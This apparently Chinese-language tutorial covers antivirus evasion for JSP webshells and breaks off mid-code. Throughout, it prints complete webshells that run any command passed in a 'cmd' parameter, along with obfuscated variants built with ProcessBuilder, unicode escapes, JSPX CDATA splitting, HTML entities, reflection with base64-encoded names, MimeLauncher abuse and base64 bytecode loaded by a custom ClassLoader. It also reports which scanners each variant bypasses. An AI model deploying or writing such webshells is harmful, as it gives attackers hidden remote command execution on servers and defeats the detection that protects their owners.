<%@ page import="java.io.InputStream" %><%@ page import="java.io.BufferedReader" %><%@ page import="java.io.InputStreamReader" %><%@page language="java" pageEncoding="utf-8" %><%    String cmd = request.getParameter("cmd");    Process process = Runtime.getRuntime().exec(cmd);    InputStream is = process.getInputStream();    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));    String r = null;    while((r = bufferedReader.readLine())!=null){        response.getWriter().println(r);    }%>

查杀的点在于Runtime.getRuntime().exec非常明显的特征

利用ProcessBuilder替换Runtime.getRuntime().exec(cmd)

Runtime.getRuntime().exec(cmd)其实最终调用的是ProcessBuilder这个函数，因此我们可以直接利用ProcessBuilder来替换Runtime.getRuntime().exec(cmd)，从而绕过正则表达式

<%@ page import="java.io.InputStream" %><%@ page import="java.io.BufferedReader" %><%@ page import="java.io.InputStreamReader" %><%@page language="java" pageEncoding="utf-8" %><%  String cmd = request.getParameter("cmd");  Process process = new ProcessBuilder(new String[]{cmd}).start();  InputStream is = process.getInputStream();  BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));  String r = null;  while((r = bufferedReader.readLine())!=null){    response.getWriter().println(r);  }%>

免杀效果

某狗:

某盾:

某马：

vt：

某度在线查杀:

可以看到这全部都免杀过了，就换了一个函数。

这种方式是利用Expression将Runtime.getRuntime().exec这个特征分开，相当于一个对调函数。免杀效果一般，因为很多查杀都是直接匹配Runtime.getRuntime()

<%@ page import="java.beans.Expression" %><%@ page import="java.io.InputStreamReader" %><%@ page import="java.io.BufferedReader" %><%@ page import="java.io.InputStream" %><%@ page language="java" pageEncoding="UTF-8" %><%  String cmd = request.getParameter("cmd");  Expression expr = new Expression(Runtime.getRuntime(), "exec", new Object[]{cmd});  Process process = (Process) expr.getValue();  InputStream in = process.getInputStream();  BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in));  String tmp = null;  while((tmp = bufferedReader.readLine())!=null){    response.getWriter().println(tmp);  }%>

查杀效果：

可以看到某狗已经查杀出来了。只能说效果很一般

jsp支持unicode编码，如果杀软不支持unicode查杀的话，基本上都能绕过

<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%><%@ page import="java.io.*"%><%  \uuuu0053\uuuu0074\uuuu0072\uuuu0069\uuuu006e\uuuu0067\uuuu0020\uuuu0063\uuuu006d\uuuu0064\uuuu0020\uuuu003d\uuuu0020\uuuu0072\uuuu0065\uuuu0071\uuuu0075\uuuu0065\uuuu0073\uuuu0074\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0050\uuuu0061\uuuu0072\uuuu0061\uuuu006d\uuuu0065\uuuu0074\uuuu0065\uuuu0072\uuuu0028\uuuu0022\uuuu0063\uuuu006d\uuuu0064\uuuu0022\uuuu0029\uuuu003b\uuuu0050\uuuu0072\uuuu006f\uuuu0063\uuuu0065\uuuu0073\uuuu0073\uuuu0020\uuuu0070\uuuu0072\uuuu006f\uuuu0063\uuuu0065\uuuu0073\uuuu0073\uuuu0020\uuuu003d\uuuu0020\uuuu0052\uuuu0075\uuuu006e\uuuu0074\uuuu0069\uuuu006d\uuuu0065\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0052\uuuu0075\uuuu006e\uuuu0074\uuuu0069\uuuu006d\uuuu0065\uuuu0028\uuuu0029\uuuu002e\uuuu0065\uuuu0078\uuuu0065\uuuu0063\uuuu0028\uuuu0063\uuuu006d\uuuu0064\uuuu0029\uuuu003b\uuuu0049\uuuu006e\uuuu0070\uuuu0075\uuuu0074\uuuu0053\uuuu0074\uuuu0072\uuuu0065\uuuu0061\uuuu006d\uuuu0020\uuuu0069\uuuu0073\uuuu0020\uuuu003d\uuuu0020\uuuu0070\uuuu0072\uuuu006f\uuuu0063\uuuu0065\uuuu0073\uuuu0073\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0049\uuuu006e\uuuu0070\uuuu0075\uuuu0074\uuuu0053\uuuu0074\uuuu0072\uuuu0065\uuuu0061\uuuu006d\uuuu0028\uuuu0029\uuuu003b\uuuu0042\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0020\uuuu0062\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0020\uuuu003d\uuuu0020\uuuu006e\uuuu0065\uuuu0077\uuuu0020\uuuu0042\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0028\uuuu006e\uuuu0065\uuuu0077\uuuu0020\uuuu0049\uuuu006e\uuuu0070\uuuu0075\uuuu0074\uuuu0053\uuuu0074\uuuu0072\uuuu0065\uuuu0061\uuuu006d\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0028\uuuu0069\uuuu0073\uuuu0029\uuuu0029\uuuu003b\uuuu0053\uuuu0074\uuuu0072\uuuu0069\uuuu006e\uuuu0067\uuuu0020\uuuu0072\uuuu0020\uuuu003d\uuuu0020\uuuu006e\uuuu0075\uuuu006c\uuuu006c\uuuu003b\uuuu0077\uuuu0068\uuuu0069\uuuu006c\uuuu0065\uuuu0028\uuuu0028\uuuu0072\uuuu0020\uuuu003d\uuuu0020\uuuu0062\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu002e\uuuu0072\uuuu0065\uuuu0061\uuuu0064\uuuu004c\uuuu0069\uuuu006e\uuuu0065\uuuu0028\uuuu0029\uuuu0029\uuuu0021\uuuu003d\uuuu006e\uuuu0075\uuuu006c\uuuu006c\uuuu0029\uuuu007b\uuuu0072\uuuu0065\uuuu0073\uuuu0070\uuuu006f\uuuu006e\uuuu0073\uuuu0065\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0057\uuuu0072\uuuu0069\uuuu0074\uuuu0065\uuuu0072\uuuu0028\uuuu0029\uuuu002e\uuuu0070\uuuu0072\uuuu0069\uuuu006e\uuuu0074\uuuu006c\uuuu006e\uuuu0028\uuuu0072\uuuu0029\uuuu003b\uuuu007d%>

注意这里的\uuuu00可以换成\uuuu00uuu...可以跟多个u达到绕过的效果

将代码（除page以及标签）进行unicode编码，并条件到<%%>标签中，即可执行webshell

在线unicode编码转换：

注意用此在线unicode编码后内容会存在 /ua ，需要手动删除，负责无法正常运行

可以看到依旧执行成功

查杀效果：

这个基本上是通杀了属实是，但由于特征过于明显，如果人工查杀的话，很容易被发现

这里是要是利用jspx的进行进行免杀，jspx其实就是xml格式的jsp文件

在jspx中，可以利用<jsp:scriptlet>来代替<%%>

<%@ page import="java.io.InputStream" %><%@ page import="java.io.BufferedReader" %><%@ page import="java.io.InputStreamReader" %><%@page language="java" pageEncoding="utf-8" %><jsp:scriptlet>  String cmd = request.getParameter("cmd");  Process process = Runtime.getRuntime().exec(cmd);  InputStream is = process.getInputStream();  BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));  String r = null;  while((r = bufferedReader.readLine())!=null){    response.getWriter().println(r);  }</jsp:scriptlet>

当<jsp:scriptlet>被过滤时可以利用EL表达式，达到绕过的效果

${Runtime.getRuntime().exec(param.cmd)}

EL表达式的11个隐含对象

其他情况：

利用命令空间改名去绕过<demo:root xmlns:bbb=";  version="1.2"><demo:scriptlet>Runtime.getRuntime().exec(pageContext.request.getParameter("cmd"));</demo:scriptlet></demo:root>利用<jsp:expression>绕过<jsp:root xmlns:bbb=";  version="1.2">   <jsp:expression>   Runtime.getRuntime().exec(pageContext.request.getParameter("cmd"));   </jsp:expression></jsp:root>

以上是jsp的一些特性，下面开始正式讲解CDATA

说人话就是<![CDATA[与]]>只要能配对就相互抵消，其他不变，因此就可以说多了一个混淆的方式，有点类似多行注释在一行中使用（sql注入绕过waf），但是这个特征可以将关键字，函数进行分割，让其能混淆的空间变的更大

下面是用xml格式的jsp文件

<?xml version="1.0" encoding="UTF-8"?><jsp:root xmlns:jsp=";          version="2.0">  <jsp:directive.page contentType="text/html"/>  <jsp:scriptlet>  String cmd = request.getParameter("cmd");  Process process = Runtime.getRuntime().exec(cmd);  java.io.InputStream is = process.getInputStream();  java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is));  String r = null;  while((r = bufferedReader.readLine())!=null){    response.getWriter().println(r);  }</jsp:scriptlet></jsp:root>

可以看到这里是能正常运行的，接下来文件使用CDATA进行混淆

<?xml version="1.0" encoding="UTF-8"?><jsp:root xmlns:jsp=";          version="2.0">  <jsp:directive.page contentType="text/html"/>  <jsp:scriptlet>  String cmd = requ<![CDATA[est.get]]>Parameter("cmd");  Process process = Ru<![CDATA[ntime.getRunt]]>ime().exec(cmd);  java.io.InputStream is = process.getInputStream();  java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is));  String r = null;  while((r = bufferedReader.readLine())!=null){    response.getWriter().println(r);  }</jsp:scriptlet></jsp:root>

依旧是能成功运行的，但是我们可以requst和Runtime这些类名都被插入了CDATA，从而消除了特征

免杀效果:

这里HTML编码免杀与jspx的特效有关，前面的CDATA设计到了jspx的相关知识，由此CDATA的免杀就在上文讲了

在XML里可以通过html实体编码来对特殊字符转义，jspx同样继承了该特性，由此jspx就具有识别html实体编码，接下来我们就利用上面的免杀马进行进一步的混淆

<?xml version="1.0" encoding="UTF-8"?><jsp:root xmlns:jsp=";          version="2.0">  <jsp:directive.page contentType="text/html"/>  <jsp:scriptlet>  String cmd = requ<![CDATA[est.get]]>Parameter("cmd");  Process process = Ru<![CDATA[ntime.getRunt]]>ime().exec(cmd);  java.io.InputStream is = process.getInputStream();  java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is));  String r = null;  while((r = bufferedReader.readLine())!=null){    response.getWriter().println(r);  }</jsp:scriptlet></jsp:root>

注意：含有CDATA的内容是不能进行html实体编码的，反之html实体编码后的内容也不能插入CDATA，否则无法执行

在线html实体编码：

可以看到依旧可以正常运行

本章主要讲解反射在webhell中的利用，以及反射绕过杀软的利用与原理

<%@ page import="java.lang.reflect.Method" %><%@ page import="java.lang.reflect.Field" %><%@ page import="java.io.*" %><%@ page language="java" pageEncoding="UTF-8" %><%  String cmd = request.getParameter("cmd");  Class<?> rt =Class.forName("java.lang.Runtime");  Method runtimeMethod = rt.getMethod("getRuntime");  Method method = rt.getMethod("exec", String.class);  Object object = method.invoke(runtimeMethod.invoke(null),cmd);  Process process = (Process) object;  InputStream in = process.getInputStream();  InputStreamReader resultReader = new InputStreamReader(in);  BufferedReader stdInput = new BufferedReader(resultReader);  String s = null;  while ((s = stdInput.readLine()) != null) {    out.println(s);  }%>

免杀效果:

特征太明显里面还有java.lang.Runtime，getRuntime，exec这些敏感内容，由于与反射相关的参数都是字符串，由此我们能操作的空间就很大了。

利用base64加解密敏感内容

<%@ page import="java.lang.reflect.Method" %><%@ page import="java.io.*" %><%@ page import="java.util.Base64" %><%@ page language="java" pageEncoding="UTF-8" %><%  String cmd = request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));  Class<?> rt =Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));  Method runtimeMethod = rt.getMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));  Method method = rt.getMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);  Object object = method.invoke(runtimeMethod.invoke(null),cmd);  Process process = (Process) object;  InputStream is = process.getInputStream();  BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));  String r = null;  while((r = bufferedReader.readLine())!=null){    response.getWriter().println(r);  }%>

免杀效果：

通过测试发现并非查杀的是与反射相关的所有函数，而是匹配是否存在getMethod函数，因此我们只需将getMethod改为getDeclaredMethod即可

getDeclaredMethod替换getMethod

<%@ page import="java.lang.reflect.Method" %><%@ page import="java.io.*" %><%@ page import="java.util.Base64" %><%@ page language="java" pageEncoding="UTF-8" %><%  String cmd = request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));  Class<?> rt =Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));  Method runtimeMethod = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));  Method method = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);  Object object = method.invoke(runtimeMethod.invoke(null),cmd);  Process process = (Process) object;  InputStream is = process.getInputStream();  BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));  String r = null;  while((r = bufferedReader.readLine())!=null){    response.getWriter().println(r);  }%>

可以看到正常运行

免杀效果：

可以看到某盾依旧查杀，经过测试某盾查杀的是当存在反射函数又存在Process类的getInputStream方法时会被查杀，这种情况下，笔者并未找到太好的办法，要么就这些不回显，要么就利用之前文章写的免杀技巧。

<%@ page import="java.lang.reflect.Method" %><%@ page import="java.io.*" %><%@ page import="java.util.Base64" %><%@ page language="java" pageEncoding="UTF-8" %><%  String cmd = request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));  Class<?> rt =Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));  Method runtimeMethod = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));  Method method = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);  Object object = method.invoke(runtimeMethod.invoke(null),cmd);%>

免杀效果：

免杀

在sun.net. 中存在一个run方法 ，而该run方法存在命令执行漏洞

本来打算将MimeLauncher放到前面内置函数免杀那篇文章上讲，由于MimeLauncher无法直接使用，需要借助反射进行调用，因此就笔者就将MimeLauncher放在反射免杀后讲，及本章

<%@ page import="java.io.*" %><%@ page import="java.net.URLConnection" %><%@ page import="java.net.URL" %><%@ page import="sun.net.; %><%@ page import="java.lang.reflect.Field" %><%@ page import="java.lang.reflect.Constructor" %><%@ page import="java.lang.reflect.Method" %><%@ page language="java" pageEncoding="UTF-8" %><%    String cmd = request.getParameter("cmd");    URLConnection urlConnection = new URL(";).openConnection();    MimeEntry mimeEntry = new MimeEntry("naihe");    Class meClass = MimeEntry.class;    Field field = meClass.getDeclaredField("command");    field.setAccessible(true);    Field field2 = meClass.getDeclaredField("tempFileNameTemplate");    field2.setAccessible(true);    field2.set(mimeEntry,"naihe%s567");    InputStream inputStream = new InputStream() {        @Override        public int read() throws IOException {            return -1;        }    };    Class mimeClass = Class.forName("sun.net.;);    Constructor mimeCon = mimeClass.getDeclaredConstructor(MimeEntry.class,URLConnection.class,            InputStream.class,String.class,String.class);    mimeCon.setAccessible(true);    Thread thread = (Thread) mimeCon.newInstance(mimeEntry, urlConnection, inputStream, "0","0");    Field field3 = mimeClass.getDeclaredField("execPath");    field3.setAccessible(true);    field3.set(thread,cmd);    Method m = mimeClass.getDeclaredMethod("run");    m.setAccessible(true);    m.invoke(thread);%>

类似MimeLauncher的类还有许多，适合大家去挖掘挖掘，利用时大概率会用到反射，就当练习练习反射相关的知识也是不错的选择

免杀效果：

这种方式简单地说就是用ideal将java文件编程成class文件，然后将class读取出来用base64编码即可，这种方式比较方便简单，不需要会使用ASM，javassist等字节码框架。

package com.demo;import java.io.*;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.nio.ByteBuffer;import java.nio.channels.FileChannel;import java.util.Base64;public class Demo {    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {        FileChannel fileChannel = null;        FileInputStream in = null;        in = new FileInputStream("C:\\Users\\12107\\Desktop\\免杀\\target\\classes\\com\\demo\\Shell.class");        fileChannel = in.getChannel();        ByteBuffer buffer = ByteBuffer.allocate((int) fileChannel.size());        while (fileChannel.read(buffer) > 0) {        }        System.out.println(new String(Base64.getEncoder().encode(buffer.array())));    }}

Shell.java

package com.demo;import java.io.BufferedReader;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;public class Shell {    public static String runs(String cmd) throws IOException {        Process process = Runtime.getRuntime().exec(cmd);        InputStream is = process.getInputStream();        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));        String r = "";        String s = "";        while((r = bufferedReader.readLine())!=null){            s += r;        }        return s;    }}

javassist是生成修改字节码的框架，使用比ASM更简洁，但是并非jvm自带的库，也是笔者非常喜欢的一个框架。

package com.demo;import javassist.*;import java.io.IOException;import java.util.Base64;public class Demo2 {    public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {        ClassPool classPool = ClassPool.getDefault();        CtClass cc1 = classPool.makeClass("com.demo.Shell");        CtConstructor cons = new CtConstructor(new CtClass[]{},cc1);        cons.setBody("{}");        String runCode1="{}";        cons.insertBefore((runCode1));        cc1.addConstructor(cons);        CtMethod cm2 = new CtMethod(ClassPool.getDefault().get("java.lang.String"), "runs", new CtClass[]{classPool.get("java.lang.String")}, cc1);        cm2.setModifiers(Modifier.PUBLIC);        cm2.setBody("{        Process process = Runtime.getRuntime().exec($1);\n" +                "        java.io.InputStream is = process.getInputStream();\n" +                "        java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is));\n" +                "        String r = \"\";\n" +                "        String s = \"\";\n" +                "        while((r = bufferedReader.readLine())!=null){\n" +                "            s += r;\n" +                "        }\n" +                "        return s;}");        cc1.addMethod(cm2);        System.out.println(new String(Base64.getEncoder().encode(cc1.toBytecode())));    }}

ASM相比javassist操作更复杂，但是jvm自带，利用面非常广

package com.demo;import jdk.internal.org.objectweb.asm.ClassWriter;import jdk.internal.org.objectweb.asm.MethodVisitor;import java.util.Base64;import static jdk.internal.org.objectweb.asm.Opcodes.*;public class Demo2 {    public static void main(String[] args){        ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);        cw.visit(V1_8, ACC_PUBLIC, "Shell", null, "java/lang/Object", null);        MethodVisitor mw = cw.visitMethod(ACC_PUBLIC, "<init>", "()V", null, null);        mw.visitVarInsn(ALOAD, 0);        mw.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "<init>", "()V",false);        mw.visitInsn(RETURN);        mw.visitMaxs(1, 1);        mw.visitEnd();        MethodVisitor mw2 = cw.visitMethod(ACC_PUBLIC, "runs",                "(Ljava/lang/String;)Ljava/lang/Process;", null, null);        mw2.visitCode();        mw2.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime",                "()Ljava/lang/Runtime;",false);        mw2.visitVarInsn(ALOAD,1);        mw2.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);        mw2.visitInsn(ARETURN);        mw2.visitMaxs(10, 3);        mw2.visitEnd();        byte[] code = cw.toByteArray();        System.out.println(new String(Base64.getEncoder().encode(code)));    }}

这里由于ASM操作比较复杂，就先生成一个简单的字节码(前面javac和javassist笔者写的回显都是在字节码这，这ASM回显的内容就先不放在ASM中生成)，由于runs函数的返回值为Process，我们只需要在后面的jsp处理中拿出来用即可。

<%@ page import="java.lang.reflect.Constructor" %><%@ page import="java.util.Base64" %><%@ page import="java.security.cert.Certificate" %><%@ page import="java.security.*" %><%@ page import="java.lang.reflect.Method" %><%@ page import="java.io.InputStream" %><%@ page import="java.io.BufferedReader" %><%@ page import="java.io.InputStreamReader" %><%  ClassLoader loader = new ClassLoader() {    @Override    public Class<?> loadClass(String name) throws ClassNotFoundException {      if(name.contains("com.demo.Shell")){        return findClass(name);      }      return super.loadClass(name);    }    @Override    protected Class<?> findClass(String name) throws ClassNotFoundException {      try {        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAFQEADmNvbS9kZW1vL1NoZWxsBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEABjxpbml0PgEAAygpVgwABQAGCgAEAAcBAARydW5zAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1J1bnRpbWUHAAsBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAANAA4KAAwADwEABGV4ZWMMABEACgoADAASAQAEQ29kZQABAAIABAAAAAAAAgABAAUABgABABQAAAARAAEAAQAAAAUqtwAIsQAAAAAAAQAJAAoAAQAUAAAAFAAKAAIAAAAIuAAQK7YAE7AAAAAAAAA=");        PermissionCollection pc = new Permissions();        pc.add(new AllPermission());        ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null);        return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);      } catch (Exception e) {        e.printStackTrace();      }      return super.findClass(name);    }  };  String cmd = request.getParameter("cmd");  Class<?> shell = loader.loadClass("com.demo.Shell");  Object object =  shell.newInstance();  Method dm = shell.getDeclaredMethod("runs",String.class);  Process o2 = (Process)dm.invoke(object, cmd);  InputStream is = o2.getInputStream();  BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));  String r = "";  String s = "";  while((r = bufferedReader.readLine())!=null){    s += r;  }  response.getWriter().println(s);%>

免杀修改

<%@ page import="java.lang.reflect.Method" %><%@ page import="java.util.Base64" %><%@ page import="java.io.InputStream" %><%@ page import="java.io.FileInputStream" %><%@ page import="java.nio.channels.FileChannel" %><%@ page import="java.nio.ByteBuffer" %><%@ page language="java" pageEncoding="UTF-8" %><%  Method defineClass =          ClassLoader.class.getDeclaredMethod("defineClass", String.class,                  byte[].class, int.class, int.class);  defineClass.setAccessible(true);  byte[] bytes =  Base64.getDecoder().decode("yv66vgAAADQAUAoAEAAtCgAuAC8KAC4AMAoAMQAyBwAzBwA0CgAGADUKAAUANggANwoABQA4BwA5CgALAC0KAAsAOgoACwA7BwA8BwA9AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMY29tL2RlbW8vU2hlbGw7AQAEcnVucwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJpcwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQABcgEAAXMBAA1TdGFja01hcFRhYmxlBwA+BwA/BwBABwAzAQAKRXhjZXB0aW9ucwcAQQEAClNvdXJjZUZpbGUBAApTaGVsbC5qYXZhDAARABIHAEIMAEMARAwARQBGBwA/DABHAEgBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAEQBJDAARAEoBAAAMAEsATAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABNAE4MAE8ATAEADmNvbS9kZW1vL1NoZWxsAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nACEADwAQAAAAAAACAAEAEQASAAEAEwAAAC8AAQABAAAABSq3AAGxAAAAAgAUAAAABgABAAAACAAVAAAADAABAAAABQAWABcAAAAJABgAGQACABMAAADlAAUABgAAAEu4AAIqtgADTCu2AARNuwAFWbsABlkstwAHtwAIThIJOgQSCToFLbYAClk6BMYAHLsAC1m3AAwZBbYADRkEtgANtgAOOgWn/+AZBbAAAAADABQAAAAiAAgAAAALAAgADAANAA0AHQAOACEADwAlABAALwARAEgAEwAVAAAAPgAGAAAASwAaABsAAAAIAEMAHAAdAAEADQA+AB4AHwACAB0ALgAgACEAAwAhACoAIgAbAAQAJQAmACMAGwAFACQAAAAcAAL/ACUABgcAJQcAJgcAJwcAKAcAJQcAJQAAIgApAAAABAABACoAAQArAAAAAgAs");  Class shell = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "com.demo.Shell", bytes, 0, bytes.length);  Object object =  shell.newInstance();  Method dm = shell.getDeclaredMethod("runs",String.class);  Object invoke = dm.invoke(object, "calc");%>

免杀效果：

虽然用原始的defindClass虽然能到达免杀效果，但是由于没有重写loadClass，findClass，没有打破双亲委派，导致恶意的字节码被加载后，再次访问网页的时候，类不会被生成，导致不能正常使用

自定义classloader免杀

<%@ page import="java.lang.reflect.Constructor" %><%@ page import="java.util.Base64" %><%@ page import="java.security.cert.Certificate" %><%@ page import="java.security.*" %><%@ page import="java.lang.reflect.Method" %><%@ page import="java.io.InputStream" %><%@ page import="java.io.BufferedReader" %><%@ page import="java.io.InputStreamReader" %><%  ClassLoader loader = new ClassLoader() {    @Override    public Class<?> loadClass(String name) throws ClassNotFoundException {      if(name.contains("com.demo.Shell")){        return findClass(name);      }      return super.loadClass(name);    }    @Override    protected Class<?> findClass(String name) throws ClassNotFoundException {      try {        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAUAoAEAAtCgAuAC8KAC4AMAoAMQAyBwAzBwA0CgAGADUKAAUANggANwoABQA4BwA5CgALAC0KAAsAOgoACwA7BwA8BwA9AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMY29tL2RlbW8vU2hlbGw7AQAEcnVucwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJpcwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQABcgEAAXMBAA1TdGFja01hcFRhYmxlBwA+BwA/BwBABwAzAQAKRXhjZXB0aW9ucwcAQQEAClNvdXJjZUZpbGUBAApTaGVsbC5qYXZhDAARABIHAEIMAEMARAwARQBGBwA/DABHAEgBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAEQBJDAARAEoBAAAMAEsATAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABNAE4MAE8ATAEADmNvbS9kZW1vL1NoZWxsAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nACEADwAQAAAAAAACAAEAEQASAAEAEwAAAC8AAQABAAAABSq3AAGxAAAAAgAUAAAABgABAAAACAAVAAAADAABAAAABQAWABcAAAAJABgAGQACABMAAADlAAUABgAAAEu4AAIqtgADTCu2AARNuwAFWbsABlkstwAHtwAIThIJOgQSCToFLbYAClk6BMYAHLsAC1m3AAwZBbYADRkEtgANtgAOOgWn/+AZBbAAAAADABQAAAAiAAgAAAALAAgADAANAA0AHQAOACEADwAlABAALwARAEgAEwAVAAAAPgAGAAAASwAaABsAAAAIAEMAHAAdAAEADQA+AB4AHwACAB0ALgAgACEAAwAhACoAIgAbAAQAJQAmACMAGwAFACQAAAAcAAL/ACUABgcAJQcAJgcAJwcAKAcAJQcAJQAAIgApAAAABAABACoAAQArAAAAAgAs");        PermissionCollection pc = new Permissions();        pc.add(new AllPermission());        ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null);        return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);      } catch (Exception e) {        e.printStackTrace();      }      return super.findClass(name);    }  };  String cmd = request.getParameter("cmd");  Class<?> shell = 